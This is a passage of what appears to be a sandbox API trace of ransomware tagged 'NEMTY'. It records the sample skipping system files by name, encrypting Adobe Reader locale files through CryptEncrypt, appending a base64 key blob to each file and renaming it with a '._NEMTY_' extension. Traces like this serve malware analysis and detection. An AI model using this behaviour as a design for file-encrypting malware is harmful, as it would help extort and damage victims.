(hObject=0x254) returned 1 [0179.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.791] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1eccaa30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1eccaa30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0179.792] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0179.792] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1eccaa30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1eccaa30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0179.792] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0179.792] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0179.792] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2=".") returned 1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="..") returned 1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="...") returned 1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="windows") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="rsa") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="NTDETECT.COM") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="ntldr") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="MSDOS.SYS") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="IO.SYS") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="boot.ini") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="boot.ini") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="ntuser.dat") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="desktop.ini") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="CONFIG.SYS") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="RECYCLER") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="BOOTSECT.BAK") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="bootmgr") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="programdata") returned -1 [0179.792] lstrcmpiW (lpString1="accessibility.NOR", lpString2="appdata") returned -1 [0179.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NOR", lpUsedDefaultChar=0x0) returned 17 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NOR", lpUsedDefaultChar=0x0) returned 17 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NOR", lpUsedDefaultChar=0x0) returned 17 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NOR", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NOR", lpUsedDefaultChar=0x0) returned 17 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.793] Sleep (dwMilliseconds=0x5) [0179.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed16cf0, dwHighDateTime=0x1d561e8)) [0179.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed16cf0, dwHighDateTime=0x1d561e8)) [0179.804] GetLastError () returned 0xb7 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.804] GetLastError () returned 0xb7 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.804] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.804] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="c1NuAwOmpANzqDwwIVlNnnkQqkWJA/RuXHfqHZGNh++5I1H5VvTGC1M+Pqfh2KoK\r\nTZkGYU6X/gncneYODC813rXjnVh3tiEMmuSlAOCz7FoXHpF4Rb+sEpBuw3m2BF+S\r\nD5YpP1M6lxynPKUjXxxY/LCQdbPuPzPpnj/SYcFI+mp4Kzog+fofkAPsKh2EJfHb\r\nBpO5i+sn3vy/TU4IY9VotUSLKlYT4VkmEseKugYqIDTGihIjSuQPL8Yc/bhhfNiy\r\nElNerqs4NCPxVazr0i4KfWOyf3BlRX0zfK+rWgqWyWPGVrACiN5HdHSMvr/ca5nq\r\nx3XYdT9mrNkR/pOU1m72GQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.805] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0179.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0179.805] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.805] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0179.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.809] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0179.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.809] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0179.810] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.810] CloseHandle (hObject=0x2e8) returned 1 [0179.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.810] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor._nemty_kgobjgd_")) returned 1 [0179.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.811] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.NOR", cAlternateFileName="")) returned 1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2=".") returned 1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="..") returned 1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="...") returned 1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="windows") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="rsa") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="NTDETECT.COM") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="ntldr") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="MSDOS.SYS") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="IO.SYS") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="boot.ini") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="boot.ini") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="ntuser.dat") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="desktop.ini") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="CONFIG.SYS") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="RECYCLER") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="BOOTSECT.BAK") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="bootmgr") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="programdata") returned -1 [0179.811] lstrcmpiW (lpString1="Acroform.NOR", lpString2="appdata") returned -1 [0179.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.812] Sleep (dwMilliseconds=0x5) [0179.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed3ce50, dwHighDateTime=0x1d561e8)) [0179.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed3ce50, dwHighDateTime=0x1d561e8)) [0179.819] GetLastError () returned 0x0 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.819] GetLastError () returned 0x0 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.819] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.819] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.819] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.819] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Pihz6SDE+g1PopvDykiRxzf1l2q4vOiJf7RCL57rnOIKPBNDfJRdumD5FMhKklUO\r\nwTiGfTjdWb22MSMTc15fhZ6MBVn3jHdvRPzUoMUjfI/Wx9ltwD2NHzrAo5HJqQCc\r\nL+ELjtynz9Kw0CfSQR6ZflAaCH6MTIJOFMfJ45VV7+6oUar1ahRd/mvrnE/s6PeQ\r\nPjfQO+qkwMxUrqCcmRdXT1xBmGtvWAK62gijp7w66s7tpLqulPs7VSmsgDyCmeGj\r\nGL0ppLZAy/3jpjE4yV3AfuyEkB7yUIw4VA1m0af0xd1T3yd6Yjk+L4NVXFW150LL\r\nrNvMf1Pop8WRAebECXlKYA==\r\n", pcchString=0x653e5dc) returned 1 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.820] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=400896) returned 1 [0179.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.820] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.821] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.829] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.829] WriteFile (in: 